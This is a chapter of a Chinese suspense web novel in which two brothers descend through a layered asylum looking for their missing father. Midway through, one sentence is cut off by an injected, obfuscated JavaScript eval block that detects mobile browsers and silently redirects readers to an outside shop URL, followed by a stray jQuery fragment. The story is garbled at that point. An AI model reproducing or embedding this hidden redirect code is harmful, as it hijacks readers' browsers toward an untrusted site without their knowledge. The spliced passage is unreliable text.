陈墨穆走完那条走廊只用了不到一分钟，但他在黑暗里站了很久。
身后那扇门彻底合拢之后，走廊尽头的灯光也跟着灭了，只剩下四面墙把自己裹在黑暗里，伸手不见五指，连自己的手放在哪儿都感觉不到。他试着往后退了一步，脚后跟碰到的不是门板，而是墙壁。冰凉的、粗糙的、刷着旧漆的墙壁。门消失了。
他站在那里没有动，等他适应了那片黑暗之后，开始从口袋里摸手机。屏幕亮起来的一瞬间，光打在面前的墙上，他看到墙上有字，有人用指甲或者什么尖锐的东西在上面刻了一行。他凑近去看——
“往前走，别停。”
是父亲的笔迹。
他握着手机往前走了十三步，路到头了。手机的光照出一扇门，和之前所有的门都不一样——这扇门是铁的，深灰色，表面粗糙得像砂纸，没有把手，只有中间嵌着一块巴掌大的电子屏幕，屏幕是黑着的，边框有一条极细的红线，像脉搏一样在缓慢地闪烁。
他伸手碰了一下那块屏幕。屏幕亮了，上面跳出一行字：
“验证身份。”
他没有动。屏幕闪了一下，又跳出一行：
“陈墨穆。欢迎回来。”
铁门从中间裂开一道缝，不像是被人打开，更像是自己裂开的。他推了一下，门往后滑，发出一种沉闷的金属摩擦声，像砂轮磨在铁皮上。门后面是一间很小的房间，大概不到五平米，没有窗户，四面墙都是白色的，干净到不正常。天花板上有一盏灯，发出那种过于明亮的白光，照得整个房间像是漂白了。房间中央放着一张桌子，桌子上什么都没有，但桌面上有一个凹槽，凹槽的形状是一只手。左手。
陈墨穆低头看了看自己的手。
他走过去，把左手放进了那个凹槽里。尺寸刚好。凹槽底部传来一阵微弱的震动，像是在扫描什么东西，几秒之后，桌面上方的空气里出现了一行悬浮的字，像是投影打出来的：
“验证通过。欢迎回家。”
紧接着，房间正对面的那面白墙开始变得透明，像是一块从中间被擦亮的玻璃，露出了墙后面的景象。那是一个更大的房间，陈墨穆站在透明墙的这一面望过去，能看到那个房间里摆着一张床，一张桌子，一把椅子，墙角有一个洗手台。标准的病房。
病房里有人。
陈汐穆坐在床上，低着头，手指捏着病号服的边缘在搓，像是要把那层布料搓出一个洞来。他没有看陈墨穆的方向，好像完全不知道这边有一面墙正在变成透明的窗户。他低着头搓了一会儿布料，然后停下手，抬起头，对着空荡荡的房间说了一句——
“哥，我看见你了。”
陈墨穆站在透明墙后面，没有动。
陈汐穆偏了一下头，目光像是越过了空气，精准地落在了他站的位置：“你站在那儿多久了？”
“……不到两分钟。”
“你前面那扇门是铁的对吧？”
“对。”
“你摸的那块屏幕在闪烁对吧？”
陈墨穆沉默了。他确实没有告诉陈汐穆细节，但陈汐穆全都说准了。
“你怎么知道的？”
陈汐穆笑了，那个笑容里带着一点狡黠，一点倦：“因为我也走过一遍。”
“你什么时候走的？”
“前天晚上，你还没来的时候。爸让我走的。”陈汐穆从床上跳下来，光脚踩在地板上，走到那面透明墙前面，和陈墨穆隔着不到半米的距离。他能看到墙的那一面陈墨穆的脸，被白光照得没什么血色，但他知道陈墨穆也能看到他。
“爸让你走这条走廊？”
“对。他让我走了一遍，说让我认路。”
“认什么路？”
陈汐穆凑近了，把额头贴在透明墙的表面上，声音隔着那层玻璃传过来，闷闷的：“认出去的路。”
“……那你找到了吗？”
陈汐穆的额头还贴着那层玻璃，嘴唇动了动，离陈墨穆只有十几厘米远：“他说，从这里出去的钥匙，在你身上。”
陈墨穆低头看了一眼自己，白大褂，口袋里一张纸条，手机，再也没有别的东西。
“我不觉得我身上有什么钥匙。”
陈汐穆从透明墙前面退开半步，歪着头看他：“你怎么知道爸说的钥匙，就是真的钥匙？”
陈墨穆没有回答。
他转过身，环顾这间五平米的白色房间，除了那张桌子和那把椅子，什么都没有。他看了一眼桌面上那个手型的凹槽，又看了看自己的手。他重新把左手放了进去。
凹槽震动了一下，桌面上弹出一样东西——一粒药片。白色的，很小，没有任何标识，安静地躺在桌面上。
陈墨穆把药片拿起来，翻来覆去看了看：“什么意思？”
陈汐穆在透明墙的那一面说：“你把它吃了。”
“为什么？”
“因为爸让我告诉你，吃了就能看见他。”
陈墨穆手指捏着那粒药片，没有动。
墙那一边的陈汐穆安静地站着，看着他，没有再催促。两个人隔着一面玻璃对望着，头顶的白光照下来，把两个人的脸都照得有些发青。过了很久，陈墨穆把药片放进了嘴里，干咽了下去。
没有什么特别的感觉。不苦不甜，像吞了一粒没有味道的糖。
然后他眼前的景象开始变化了。
那面透明的墙慢慢消失了，或者说，不是消失，而是变成了一种更薄的东西，薄到像是空气里的一层水膜，然后那层水膜也散了。病房和陈墨穆所在的白色房间之间的隔阂不见了，他发现自己就站在病房里，站在陈汐穆面前不到两步的地方。
陈汐穆看着他，脸上的表情没有惊讶：“现在你信了？”
“信什么？”
“你站在哪个位置？”
陈墨穆低头看了一眼自己的脚——他站在病房的地砖上，白色房间已经不见了。但他回头的时候，看到身后有一面墙，墙上有一个手型的凹槽，和他刚才用的那个一模一样。
他刚才，就在那面墙里面。
“这里不只是一个疯人院，”陈汐穆的声音从他背后传来，“它是一层一层的。你走完一条走廊，只是打开了第一层。”
“你走了几层？”
“我走了七层。”陈汐穆说，“每一层都有一个房间，每一层都有一粒药片。我吃了七粒，然后爸说，够了。”
“然后呢？”
“然后我就出来了。出来之后，就站在你面前了。”
陈墨穆看着弟弟，那张十八岁的脸干干净净的，眼神清亮，没有疯，没有颠，只有一种很深很深的平静，像是在海底待了很久的人，刚浮上来换了一口气。
“汐穆，你为什么要走那七层？”
陈汐穆低下头，看了看自己的脚，脚上还贴着陈墨穆昨晚给他贴的创可贴，白色的边缘已经卷起来了。他伸手按了按那片创可贴，把它按平了，然后抬起头：“因为我想见爸。”
“你见到了吗？”
陈汐穆笑了：“没有。”
“他骗你的？”
“不是。”陈汐穆摇头，“他说，我要走到第十层才能见到他。但我走到第七层就走不动了，我的幻觉开始压不住了。我站在那个房间里，看到的全是小时候的东西，乱七八糟的，然后我就不敢往下走了。”
他顿了顿，声音轻了一点：“我怕我走进第十层，看到的是他的尸体。”
陈墨穆伸出手，搭在他肩膀上，捏了一下。没说话。
陈汐穆低下头，把那片卷起来的创可贴又按了一下，然后开口，声音闷在胸口里：“哥，那你帮我走。你走到第十层，把爸带出来。”
“他怎么进去的？”
陈汐穆抬起头看着他：“你不知道？”
“……我不知道。”
陈汐穆看着他，眼神里有一瞬间闪过一种很复杂的东西，像是犹豫，像是心疼，然后他叹了口气：“哥，第七层我看到的最后一件事，是爸自己走进去的。”
“走进哪里？”
“走进第十层。”陈汐穆说，“他自己把自己锁进去的。”
陈墨穆的手指从陈汐穆肩膀上滑下来，垂在身侧。
“什么时候？”
“十年前。2016年。”
陈汐穆的声音很轻，但每一个字都清晰得像被刀刻在了空气里：“爸建了这个疯人院，建了十层，然后他走进了第十层，把门从里面锁上了。他锁门之前让人带了一句话出来，说等他两个儿子都十八岁了，让他们来找他。”
他停了一下，看着陈墨穆的眼睛：“哥，我们今天十八了。”
陈墨穆站在病房里，头顶的白灯照得他脸上的血色一点点退下去。他看着弟弟，看了很久。然后他转过身，走到那面墙面前，把手再次按进了那个凹槽里。
墙面上裂开一道缝，露出另一条走廊，比他刚才走过的更窄，更深，更暗。走廊的尽头没有光。
“你在这儿等我。”
陈汐穆站在他身后，没有再往前走。他只是看着陈墨穆的背影，看着他把手从凹槽里抽出来，侧过身，走进了那条更窄更深的走廊里。
陈汐穆没有说好，也没有说不好。
他只说了一句：“哥，第八层我替你走了。”
“第九层呢？”
陈汐穆笑了一下：“第九层，你替自己走。”
“为什么是第九层？”
陈汐穆的声音从身后飘过来，越来越远了：“因为第十层没有门。”
陈墨穆的脚步顿住了。他没有回头：“那第十层怎么进去？”
走廊的黑暗吞掉了陈汐穆的回答。他只是听到一个很轻很轻的声音，像是从某个很远的地方传过来的，又像是就在他耳朵里——
“第十层没有门。”
“但你走到那儿了，你自然就进去了。”
陈墨穆没有追问。
他迈开步子，走进了那条走廊。
身后的门缓缓合拢。
走廊的墙壁上每隔几步就有一盏小灯，暗黄色的，像快熄灭的蜡烛。他走得很慢，脚下踩着的是一条不知道通往哪里的路，但他知道他在往下走。楼层在下降。一层，两层，三层。每走完一段楼梯，走廊就会变窄一点，灯光就会暗一点，空气就会冷一点。
第四层。他看到了墙壁上有人用指甲刻了一行字，是陈汐穆的笔迹——歪歪扭扭的，像是走着走着停下来写的：“哥，这儿开始黑了。”
第五层。另一行字：“哥，我有点怕了。”
第六层。字变得更小更浅，像是写的时候手指在发抖：“哥，我看到爸的影子了。”
陈墨穆站在第六层的墙壁前面，伸手摸了一下那些字。指腹擦过刻痕的时候，他感觉到了一丝潮湿。像是有人在写字的时候，眼泪滴在了墙上。
他收回手，继续往下走。
第七层。他走下最后一级台阶的时候，脚步停住了。这层的走廊比前面任何一层都要宽，灯也更亮，亮到有些刺眼。走廊两侧的墙上贴满了照片，和他们之前看到的那条走廊一样，全是父亲。
但这一次的照片不一样了。
照片上的父亲是年轻的，看起来不到三十岁，站在一个女人的身边，女人怀里抱着一个婴儿，父亲低头看着那个孩子，眼睛笑得弯起来。
下一张。父亲蹲在地上，和一个小男孩面对面，男孩大概一岁多，还站不稳，被父亲用手扶着腋下，咧着嘴笑。
再下一张。两个男孩了。一个三四岁，一个一两岁，父亲一手一个抱着，站在一棵树下，背景是夏天，树叶很绿。
陈墨穆站在那一排照片前面，一张一张看过去。每一张他都认识。每一张都是他的童年。
他在第七层的走廊里走得很慢，走到尽头的时候，他看到了一扇门。门上贴着一张纸，纸上是他自己的笔迹。他认出来了，但他不记得自己什么时候写过——
“陈墨穆。往这儿走。”
他的手搭上门把。门开了。
门后面是一个房间，和他刚才在第二层看到的那个五平米的白房间一模一样。桌子，椅子，桌面上的凹槽。他走过去，把左手放进去。
凹槽震动了很久，久到他以为不会再弹出任何东西了。然后桌面轻轻响了一声，弹出一张折好的纸条。
他打开纸条。上面只有一句话，父亲的笔迹：
“第九层没有药。”
“第九层只有你。”
陈墨穆攥着纸条，站在白色房间里。
头顶的灯闪了一下，然后开始慢慢变暗。不是灭掉，而是变暗，暗到像黄昏，暗到像傍晚，暗到像深夜。最后的黑暗里，他听到一个声音。
父亲的声音，从墙壁里面传出来，闷闷的，像是隔着什么很厚的东西在说话：
“墨穆。”
“进来吧。”
“爸爸在等你。”
陈墨穆站在原地，四周是彻底的黑暗。他不知道自己站了多久，但当他再次迈开脚步的时候，他发现自己不在那个白色房间里了。
他在一个更黑的地方。
黑的，空的，什么都没有。
然后前面出现了一点光，很弱很弱，像是一扇关着的门缝里漏出来的。他朝着那点光走过去，越走越近，越走越近。光在他的脚下蔓延开来，照亮了他的鞋尖，照亮了他的白大褂下摆，照亮了他的手。
他停在那扇门前面。门的材质是木头的，旧旧的，和疯人院里所有的铁门都不一样。这扇门像是一扇家里的门。门上面没有锁。
他伸手推了一下。门没有动。
他又推了一下。还是没动。
门缝里透出来的那线光还在，但他推不开。他站在门外，手贴在木门的表面上，感觉到了一种从门板深处透出来的凉意。
他低下头，看到门缝下面塞着一张纸条。他蹲下去捡起来。
纸条上的字是父亲写的，但笔画有些乱了，像是写的时候手在抖：
“墨穆，别推了。”
“这门是让你进来的。”
“不是让你推开的。”
陈墨穆攥着那张纸条站了起来。
他站在门外，看着那扇推不开的木门，看着门缝里透出来的那线暖光。
然后他听到门的那一边，父亲的声音传过来，很轻，很温和，带着一丝疲惫的笑意：
“墨穆。”
“你到了。”
“第十层没有门。”
“你站在门口，你就进来了。”
陈墨穆闭上了眼睛。
他再睁开的时候，门不见了。
他站在一个明亮的房间里，面前是一张旧沙发，一盏落地灯，一杯还在冒热气的水。父亲坐在沙发上，穿着毛衣，戴着老花镜，手里拿着一本书，抬头看他。
像是十年前每一个普通的黄昏。他放学回家，父亲坐在客厅等他。
“墨穆，”父亲放下书，摘下眼镜，冲他笑，“你来了。”
陈墨穆站在那儿，嘴唇动了动，过了很久，他才发出声音来。
“……爸。”
父亲站起来，朝他走过去，伸出手，像是要抱他。
陈墨穆没有动。
他看着父亲的手离自己越来越近，越来越近，然后那只手停在了离他肩膀不到一拳的地方。父亲的手停住了。
他看着陈墨穆，脸上的笑容慢慢变了，变得不那么温和了，变得有些说不清的、像是难过又像是释然的东西。
“墨穆，”他轻声说，“你往前走一步。”
陈墨穆往前走了一步。他的手穿过了父亲的身体。
什么都没有。那盏灯，那张沙发，那杯水，那个穿着毛衣戴着眼镜的男人——全都不是真的。他站在一个空荡荡的灰色房间里，面前什么都没有。
但他的白大褂口袋里多了一样东西。他伸手进去摸了一下。是一把钥匙。旧的，铁的，像是开那种老式门锁用的。
钥匙上刻了一行字，很小，他凑近了才看得清：
“陈墨穆·第十层。”
他握着那把钥匙，站在空荡荡的灰色房间里。
他进来了。他见到了父亲。但父亲不在。
他只在口袋里留下了一把钥匙。钥匙上的字清清楚楚地告诉他——第十层，他没有白来。他走进来了，他也拿到东西了。但父亲不在第十层。
父亲根本不在这里。
他站在灰色的房间里，把那把钥匙攥在掌心里。铁质的边缘硌着他的掌纹，有些发疼。
远处，陈汐穆的声音不知道从哪个方向传过来，像是从楼上，又像是从地底，闷闷的，空空的：
“哥。”
“你看见爸了吗？”
陈墨穆没有回答。
他低头看着手里的钥匙。
然后他把它握紧了，收进口袋里，转身往回走。身后那个灰色的房间在他离开的时候，一点一点地淡了。像是从来都没有存在过一样。
他走过第十层的走廊，走上通往第九层的台阶，一层一层地往上走，每上一层，灯光就亮一分，空气就暖一分，墙上那些歪歪扭扭的字就在他身后变得越来越远。
他在第七层停了一下。他站在陈汐穆刻字的那面墙前面，伸手摸了摸那些痕迹。然后他继续往上走。
第六层。第五层。第四层。
当他走回第二层的时候，陈汐穆还站在病房里。他站在那面透明的墙前面，正对着门的方向。看到他走出来的瞬间，陈汐穆的脸上没有任何表情。
他看到了陈墨穆空荡荡的双手。
他看到陈墨穆的脸，那种空空的、没有着落的颜色。
陈汐穆没有再问那句“你看到爸了吗”。他走过去，走到陈墨穆面前，伸手把他白大褂的领口整了一下，拍了拍他肩膀上不知道什么时候沾上的一点灰。
“累不累？”
陈墨穆没有回答。
陈汐穆又说：“饿不饿？”
陈墨穆低下头看他，像是隔了一层很厚的东西在看他。然后他开口了，声音很轻，轻到像是怕吵醒什么：“汐穆，他不在第十层。”
陈汐穆的手停在他肩膀上。
“……那他呢？”
陈墨穆从口袋里掏出了那把钥匙。铁质的，旧的，上面刻着他的名字。他把它摊在掌心里，让陈汐穆看。
“他留了这个。”
陈汐穆看着那把钥匙。他看了一会儿，然后伸手拿起来，翻到背面。背面还有一行字，比正面更小更浅，像是仓促间加上去的：
“用这把钥匙。”
“开二楼的最后一扇门。”
陈汐穆把钥匙还给他。
“二楼最后一扇门，”他说，“是哪扇？”
陈墨穆想起他第一天来的时候，走过那条走廊。两边的门都是锁着的，每一扇都有小窗，每一扇都贴着磨砂膜。他走到尽头的时候，有一扇门是开着的。是他自己的办公室。
他锁了那扇门。
但他没有锁走廊尽头的那扇。因为他第一天来的时候，走廊尽头没有门。那面墙是实心的，连窗户都没有。
“走廊尽头，”陈墨穆说，“没有门。”
陈汐穆看着他，目光是平静的。
“那现在有了。”
他把钥匙从陈墨穆掌心里拿过来，拉着他的手腕，推开门，走出病房，穿过二楼走廊，走到尽头。灯管滋啦响了一声。尽头那面实心的墙，正中间多了一扇门。
崭新的。漆是白的，门把手是亮的，像今天早上才装上的。门锁的孔——和钥匙的形状一模一样。
陈汐穆把钥匙插了进去。一转。
咔哒。
门开了。
门后面是一片漆黑，什么也看不见。但那股味道从黑暗中涌出来，消毒水混着烂熟果实的甜，潮湿的，闷的，像是某个被关了太久的地方终于透了一口气。
陈汐穆站在门口，没往里走。他侧过头看了陈墨穆一眼，眼眶有点红，但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731731|208966||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
嘴角是弯着的。
“哥，这是第几层？”
陈墨穆站在他身边，看着那片黑暗。
“……第二层。”
陈汐穆笑了。他伸手拉住陈墨穆的手，十指扣了进去，没有松开。
“那我们又回来了。”
“那我们还进去吗？”
陈汐穆偏了偏头，看着那扇门后面什么都看不见的黑暗：“哥，爸把钥匙留给了你。他把门放在了第二层。他从头到尾，就没打算让我们去第十层。”
他停了一下，攥紧了陈墨穆的手指：“他在第二层等我们。”
陈墨穆的喉结动了一下。他低下头看着两人交握的手，然后他抬起来，握着陈汐穆的手，一起迈过了那道门槛。
门在他们身后关上。咔哒一声，锁舌落进了槽里。钥匙还插在锁孔上，被门内的什么东西吸住了一样，自己转了一圈。
从外面看，走廊尽头的墙壁上，多了一扇关着的白门。门缝里没有光。但门板上多了一行字，像是有人用黑色的记号笔写在漆面上的。字迹歪歪扭扭，是陈汐穆的笔触，但墨色很新，像是刚写上去没几分钟。
那行字是：
“爸，哥，我们进来了。”
“别赶我们走。”
门关上的那一刻，陈墨穆听到了锁舌落入槽里的声音，清脆的，像是什么东西被正式确认了。
他站在黑暗里，感觉到陈汐穆的手还攥着他的手指，攥得很紧，指节贴着指节。那只手在微微发抖，但他没有抽回来。
黑暗中，陈汐穆的声音响起来，闷闷的，在四面墙壁之间弹了几下才落到他耳朵里：“哥，这扇门有窗户吗？”
陈墨穆侧过头看了一眼。黑暗太浓了，他看不见门的位置，但他知道门应该就在他们身后不到一步的地方。他伸手往后摸了一下，指尖碰到的不是门板，是墙壁，冰凉的、粗糙的刷漆墙面。
“没有。”他说。
“那怎么出去？”
陈墨穆没有回答。他站在原地没动，等眼睛适应了一阵子黑暗之后，能隐约看到面前有一条窄窄的通道。通道的尽头有一点极其微弱的光，像是从很远的地方透过来的，比烛火还要淡，但在完全的黑暗里，它已经足够吸引人了。
“往前走。”他说。
两个人并排走着，肩膀偶尔碰到一起。通道很窄，只够两人并排通行，地面上是光滑的，像是水泥抹平的，踩上去没有声音。他们走了大约几十步，那点光逐渐变大，从星星变成拳头大小，再变到脸盆大小，最后变成一扇窗户的形状。光是从窗户外面透进来的，但窗户玻璃上糊着一层厚厚的东西，看不清外面是什么。
陈墨穆伸手碰了一下那层糊窗的东西。硬的，干的，像是旧报纸，一层又一层糊上去的。他抠了一下，报纸边缘翘起来一小片，他撕开。撕开的那一瞬间，外面的光从破口处涌进来，照在他脸上，他眯了一下眼。他把整张报纸撕下来，窗户露出了真实的样子——是一扇普通的玻璃窗，窗外面是疯人院的院子。
那棵老树，那条长椅，那块草坪。
他站在二楼的位置。
他回头看了一眼身后。他以为他走进了一扇门，走进了一条通向未知深处的通道，但他回过头才发现，他身后什么都没有。他站在一条走廊里。走廊两边是白色的墙壁，头顶是灯管，地面是水磨石。
他还在疯人院的二楼。他从来没有离开过。
陈汐穆站在他旁边，也转过身看着身后的走廊。两个人同时沉默了。那条走廊是空的。但他们来的时候走过的那扇门，消失了。
“钥匙呢？”陈汐穆突然问。
陈墨穆低头翻口袋。那把钥匙不在了，口袋是空的。
“……不在了。”
陈汐穆站在窗户边上，外面的月光照进来，把他的一半脸照得很白很白。他看着陈墨穆，嘴角动了动：“哥，我们进来了。”
“对。”
“但没有门了。”
“对。”
“那我们……”
陈墨穆知道他在问什么。他也知道答案。他站在月光和走廊灯光的交界处，看着弟弟那张十八岁的脸：“先往前走。”
他们沿着走廊走了大概不到一百步，走廊到头了。尽头的墙上挂着一面镜子，很大，占了整面墙。镜子里的走廊被拉得很长很深，但镜子本身——它的边框是木质的，旧的，像是从哪户人家拆下来的旧家具。镜子正下方，墙面有一块凸起，像是藏了什么东西在里面。陈墨穆蹲下去，手指沿着凸起的边缘摸了一圈，摸到一道细缝。他用指甲撬了一下，那块墙皮松动了，掉下来一小块，露出了里面的东西。
一张旧照片。
他拿起来。照片上是两个男孩和一个男人，站在疯人院的大铁门前，男人蹲着，一只手揽着一个，笑得很开心。和他在办公室抽屉里看到的那张一模一样。但这一张照片的背面也写了一行字，字迹不是父亲的，是陈汐穆的，歪歪扭扭的：
“哥，这张是我放的。”
陈墨穆抬起头看他。
陈汐穆站在镜子前面，看着镜子里的自己：“第一天进来的时候，爸让我在每个楼层都放一张照片。”
“第七层你看到了，这张是第二层的。”
“我放完之后，爸说，等你们把所有照片都集齐了，他会自己出来。”
陈墨穆把照片翻回正面，看着照片上父亲的笑脸：“还有几张？”
“还有八张。”陈汐穆伸出两根手指，又收回一根，“二楼这张已经拿了。一楼还有一张。三楼到十楼，各一张。”
“你去过十楼？”
“没有。爸没让我去。他让我走到七楼就停了。”
陈墨穆把照片放进口袋里：“那剩下的八张，我去拿。”
“你一个人？”
“你在这儿等我。”
陈汐穆没有反驳，他只是看着镜子里的陈墨穆：“哥，如果你去了第八层、第九层、第十层，回不来怎么办？”
陈墨穆已经转身朝走廊的另一端走了。他的声音从前面传回来，不高不低：“那就回不来。”
“那我呢？”
陈墨穆停了一下，但没有回头：“你在这儿等着。如果天亮了，窗户外面的月亮换成太阳了，我还没回来……”
“你就出去。”
“去哪儿？”
陈墨穆沉默了两秒：“去爸的墓碑前。替我跟他说一声，我进第十层了。”
他迈开步子，走向走廊的尽头，拐过弯，消失了。
陈汐穆站在原地，一个人站在那面大镜子前面。月光从窗户外面照进来，落在他脚面上。他低头看着自己的脚，脚上那片创可贴不知道什么时候掉了。伤口已经结了薄薄一层痂。
他抬起头，看着镜子里的自己。然后他笑了一下。
那个笑容里没有疯，没有癫，干干净净的，只是眼睛有点红。他对着镜子里的自己轻声说了一句：
“陈汐穆，你信他回得来吗？”
镜子里的他自己没有回答。
但他听到走廊尽头传来一声很轻的声响，像是一扇门开了。
然后是陈墨穆的声音，从不知道多远的地方传回来，被几面墙壁挡了几道，变得又闷又远：
“汐穆。”
“往后看。”
陈汐穆转过身。
走廊尽头，陈墨穆站在那里，手里拿着一盏灯，灯是旧式的马灯，玻璃罩子里头有一簇小小的火苗在晃。他站在那盏灯的光里，白大褂的边缘被光染了一层暖黄。
他的身后是一扇门。
那扇门他见过。
就是刚才他和陈墨穆一起走进来的时候，他插钥匙、转动、推开的那一扇白门。它自己重新出现了。门缝里透出一线光，比上一次更亮，亮到能看到门缝里面有什么东西在动。
“钥匙回来了。”陈墨穆说。
他摊开手。掌心里，那把铁质的旧钥匙安静地躺着。
陈汐穆看着他，站在镜子的光里面，慢慢地眨了一下眼睛，眼眶红着，嘴角翘起来。
“那还走吗？”
陈墨穆握紧了钥匙：“走。”
“这次去哪儿？”
陈墨穆转过身，把钥匙插进了身后那扇白门的锁孔里：“这次去哪一层都行。”
“只要开门之前，你先说一句话。”
“什么话？”
陈墨穆转动钥匙，咔哒一声，门开了一条缝。他侧过头，看着月光里站着的弟弟。
“说——爸，我们来找你了。”
他把门推开。
门后面是楼梯。向上和向下都有。向上的台阶铺着浅色的地砖，干净整洁，像是每天有人打扫。向下的台阶是水泥的，边缘有一层灰，像是很久没人走了。
陈汐穆走到他身边，肩并着肩，站着看那条通向楼上的台阶和那条通向地下的台阶。
“上还是下？”
陈墨穆低头看着那条水泥台阶。台阶的最下面一层，隐约能看到什么东西——像是白色的一角，被灰尘盖了大半。
他蹲下去，伸手够了够，把那东西捡起来。
是一张照片的碎片。烧过的，边缘焦黑卷曲。照片上只剩两个人的脸了——两个男孩。高的那个七八岁，矮的那个五六岁。
而那个蹲在他们身后的男人，被火烧没了。
只剩一只手还留在照片的角落，搭在高的那个男孩肩膀上。
陈墨穆看着那只剩半张的照片，手指擦过那些焦黑的边缘。然后他站起来，把照片碎片放进口袋里，和那张完整的放在一起。
他抬头看着陈汐穆。
“下。”
两个人并肩走下水泥台阶。
身后的白门在他们踏下第一步时，自己合上了。但这一次，门缝里没有透出光来。
门是黑的。
楼上的灯还亮着。
楼下的黑暗，正从最深处往上涌来，像是一个人张开了嘴，等着他们自己走进去。